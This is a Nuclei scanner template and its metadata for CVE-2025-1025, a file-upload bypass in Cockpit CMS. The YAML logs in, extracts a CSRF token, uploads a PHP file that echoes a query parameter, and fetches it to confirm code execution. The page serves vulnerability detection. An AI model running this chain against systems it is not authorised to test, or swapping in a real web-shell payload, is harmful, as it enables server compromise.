CVE-2025-1025: Cockpit < 2.4.1 - Arbitrary File Upload
- Template: CVE-2025-1025
- Name: Cockpit < 2.4.1 - Arbitrary File Upload
- Description: Versions of the package cockpit-hq/cockpit before 2.4.1 are vulnerable to Arbitrary File Upload where an attacker can use different extensions to bypass the upload filter.
- Impact: Attackers can bypass file upload filters to upload malicious PHP files, leading to remote code execution and complete compromise of the Cockpit CMS installation.
- Remediation: Upgrade to Cockpit version 2.4.1 or later that properly validates file extensions.
- Severity: high
- Authors: iamnoooob, rootxharsh, pdresearch
- Tags: cve, cve2025, cockpit, file-upload, rce, intrusive, vuln
- References: https://github.com/advisories/GHSA-wp68-xrfg-xvq4, https://nvd.nist.gov/vuln/detail/CVE-2025-1025
- Cves: CVE-2025-1025
- Verified: yes
- Max requests: 4
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-1025.yaml
- Digest: 4a0a004730450221008c37b3d682407691453d90b0c8ffc374d6aad71a61322cf48cb6eb52c0c5d0d802204f7ab2545d0baf8ce68fc59b5adc44f5a2bf71c0274e7c747405dc483a521344
- Created at: 2025-03-07T16:47:23Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 627
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-1025.yaml
- Checked, none or zero: products
Classification
- Cwe: CWE-434
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
- Epss score: 0.21156
- Epss percentile: 0.97645
- Not known: cpe
Metadata
- Max-request: 4
- Shodan-query: title:"Cockpit"
- Verified: yes
Labels
- Name: cockpit-hq/cockpit - Unrestricted File Upload
- Impact: Attackers can upload malicious files, potentially leading to remote code execution or server compromise.
- Remediation: Update to version 2.4.1 or later.
- Vulnerability type: unrestricted_file_upload
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-1025
- Not known: requirements
```yaml
id: CVE-2025-1025
info:
name: Cockpit < 2.4.1 - Arbitrary File Upload
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Versions of the package cockpit-hq/cockpit before 2.4.1 are vulnerable to Arbitrary File Upload where an attacker can use different extensions to bypass the upload filter.
impact: |
Attackers can bypass file upload filters to upload malicious PHP files, leading to remote code execution and complete compromise of the Cockpit CMS installation.
remediation: |
Upgrade to Cockpit version 2.4.1 or later that properly validates file extensions.
reference:
- https://github.com/advisories/GHSA-wp68-xrfg-xvq4
- https://nvd.nist.gov/vuln/detail/CVE-2025-1025
classification:
epss-score: 0.21156
epss-percentile: 0.97645
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2025-1025
cwe-id: CWE-434
metadata:
max-request: 4
verified: true
shodan-query: title:"Cockpit"
tags: cve,cve2025,cockpit,file-upload,rce,intrusive,vuln
flow: http(1) && http(2) && http(3)
variables:
username: "{{username}}"
password: "{{password}}"
marker: "{{randstr_1}}"
http:
- raw:
- |
GET /auth/login HTTP/1.1
Host: {{Hostname}}
- |
POST /auth/check HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=UTF-8
{"auth":{"user":"{{username}}","password":"{{password}}"},"csrf":"{{csrf}}"}
matchers:
- type: word
part: body
words:
- 'success":true'
- '"role":'
condition: and
internal: true
extractors:
- type: regex
name: csrf
group: 1
part: body
regex:
- 'csrf : "(.*?)"'
internal: true
- raw:
- |
POST /assets/upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3lKO5LogRxX0YStI
------WebKitFormBoundary3lKO5LogRxX0YStI
Content-Disposition: form-data; name="folder"
------WebKitFormBoundary3lKO5LogRxX0YStI
Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php"
Content-Type: text/php
<?php echo base64_decode($_GET["q"]);?>
------WebKitFormBoundary3lKO5LogRxX0YStI--
matchers:
- type: word
part: body
words:
- '"uploaded":["{{randstr}}.php"]'
internal: true
extractors:
- type: json
name: upload_path
part: body
json:
- '.assets[0].path'
internal: true
- raw:
- |
GET /storage/uploads/{{upload_path}}?q={{base64(marker)}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- '{{marker}}'
digest: 4a0a004730450221008c37b3d682407691453d90b0c8ffc374d6aad71a61322cf48cb6eb52c0c5d0d802204f7ab2545d0baf8ce68fc59b5adc44f5a2bf71c0274e7c747405dc483a521344:922c64590222798bb761d5b6d8e72950
```